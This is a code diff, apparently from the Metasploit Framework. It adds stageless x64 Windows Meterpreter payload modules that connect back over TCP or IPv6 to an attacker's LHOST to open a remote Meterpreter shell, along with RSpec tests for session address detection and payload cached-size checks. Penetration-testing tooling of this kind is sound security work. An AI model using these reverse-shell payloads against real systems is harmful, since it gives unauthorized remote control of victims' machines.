'Session' => Msf::Sessions::Meterpreter_x64_Win
))
initialize_stageless
end
def generate
# generate a stageless payload using the x64 version of
# the stageless generator
generate_stageless(&method(:generate_stageless_x64))
end
end

View File

@ -0,0 +1,45 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/x64/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit4
CachedSize = :dynamic
include Msf::Payload::Windows::StagelessMeterpreter_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x64_Win
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
], self.class)
end
def generate
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
generate_stageless_x64(url)
end
end

View File

@ -0,0 +1,43 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/x64/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
module Metasploit4
CachedSize = :dynamic
include Msf::Payload::Windows::StagelessMeterpreter_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline x64',
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x64_Win
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class)
end
def generate
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
generate_stageless_x64(url)
end
end

View File

@ -0,0 +1,156 @@
require 'spec_helper'
require 'msf/base/sessions/meterpreter'
require 'rex/post/meterpreter/extensions/stdapi/net/interface'
require 'rex/post/meterpreter/extensions/stdapi/net/route'
describe Msf::Sessions::Meterpreter do
before do
allow_any_instance_of(Rex::Post::Meterpreter::PacketDispatcher).to receive(:monitor_socket)
end
subject(:meterpreter) { described_class.new(StringIO.new(""), skip_ssl: true) }
let(:v6_gateway) { "2607:f8b0:4004:0802::1014" }
let(:v4_gateway) { "192.168.3.1" }
let(:v6_linklocal) { "fe80::d6c9:efff:fe53:53ff" }
let(:routes) do
[
Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route.new(
IPAddr.new("0.0.0.0").hton, # Subnet
IPAddr.new("0.0.0.0").hton, # Netmask
IPAddr.new("192.168.3.1").hton # Gateway
),
Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route.new(
IPAddr.new("::").hton, # Subnet
IPAddr.new("::").hton, # Netmask
IPAddr.new(v6_gateway).hton # Gateway
)
]
end
describe "#find_internet_connected_address" do
subject(:connected_address) do
m = described_class.new(StringIO.new(""), skip_ssl: true)
m.stub_chain(:net, :config, :get_interfaces).and_return(interfaces)
m.stub_chain(:net, :config, :get_routes).and_return(routes)
m.session_host = session_host
m.send(:find_internet_connected_address)
end
let(:interfaces) do
ifaces = []
interface_config.each_with_index { |iface_hash, idx|
ifaces << Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface.new(
index: idx,
mac_addr: "00:11:22:33:44:%02x"%idx,
mac_name: "eth0",
mtu: 1500,
flags: 0,
addrs: iface_hash[:ips],
netmasks: iface_hash[:masks],
scopes: [ "" ]
)
}
ifaces
end
let(:session_host) { "99.99.99.99" }
context "with an address that matches #session_host" do
let(:interface_config) do
[
{ ips: [ "192.168.10.1" ], masks: [ "255.255.255.0" ], },
{ ips: [ "192.168.11.1" ], masks: [ "255.255.255.0" ], },
{ ips: [ "192.168.12.1" ], masks: [ "255.255.255.0" ], },
{ ips: [ session_host ], masks: [ "255.255.255.0" ], },
{ ips: [ "192.168.14.1" ], masks: [ "255.255.255.0" ], },
{ ips: [ "192.168.16.1" ], masks: [ "255.255.255.0" ], },
]
end
it "returns nil" do
expect(connected_address).to be_nil
end
end
# All the rest of these assume session_host does not match any
# interface's addresses
context "one interface with one IPv4 address" do
let(:interface_config) do
[ { ips: [ "10.2.3.4" ], masks: [ "255.255.255.0" ], } ]
end
it "returns that address" do
expect(connected_address).to eq("10.2.3.4")
end
end
context "one interface with one IPv6 address" do
let(:interface_config) do
[
{ ips: [ v6_linklocal ], masks: [ "ffff:ffff:ffff:ffff::" ], },
]
end
it "returns that address" do
expect(connected_address).to eq(v6_linklocal)
end
end
context "one interface with mixed IP versions" do
context "first is correct" do
let(:interface_config) do
[
{ ips: [ "192.168.3.4" ], masks: [ "255.255.255.0" ], },
{ ips: [ v6_linklocal ], masks: [ "ffff:ffff:ffff:ffff::" ], },
]
end
it "returns first address" do
expect(connected_address).to eq("192.168.3.4")
end
end
context "second address is correct" do
let(:interface_config) do
[
{ ips: [ v6_linklocal ], masks: [ "ffff:ffff:ffff:ffff::" ], },
{ ips: [ "192.168.3.4" ], masks: [ "255.255.255.0" ], },
]
end
it "returns second address" do
expect(connected_address).to eq("192.168.3.4")
end
end
end
context "one interface with multiple IPv4 addresses" do
context "first address is correct" do
let(:interface_config) do
[ {
ips: ["192.168.3.4", "10.2.3.4"],
masks: [ "255.255.255.0", "255.0.0.0"],
} ]
end
it "returns first address" do
expect(connected_address).to eq("192.168.3.4")
end
end
context "second address is correct" do
let(:interface_config) do
[ {
ips: [ "10.2.3.4", "192.168.3.4" ],
masks: [ "255.0.0.0", "255.255.255.0" ],
} ]
end
it "returns second address" do
expect(connected_address).to eq("192.168.3.4")
end
end
end
end
end

View File

@ -3519,6 +3519,46 @@ describe 'modules/payloads', :content do
reference_name: 'windows/x64/meterpreter/reverse_tcp'
end
context 'windows/x64/meterpreter_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/x64/meterpreter_bind_tcp'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/meterpreter_bind_tcp'
end
context 'windows/x64/meterpreter_reverse_https' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/x64/meterpreter_reverse_https'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/meterpreter_reverse_https'
end
context 'windows/x64/meterpreter_reverse_ipv6_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/x64/meterpreter_reverse_ipv6_tcp'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/meterpreter_reverse_ipv6_tcp'
end
context 'windows/x64/meterpreter_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/x64/meterpreter_reverse_tcp'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/meterpreter_reverse_tcp'
end
context 'windows/x64/shell/bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [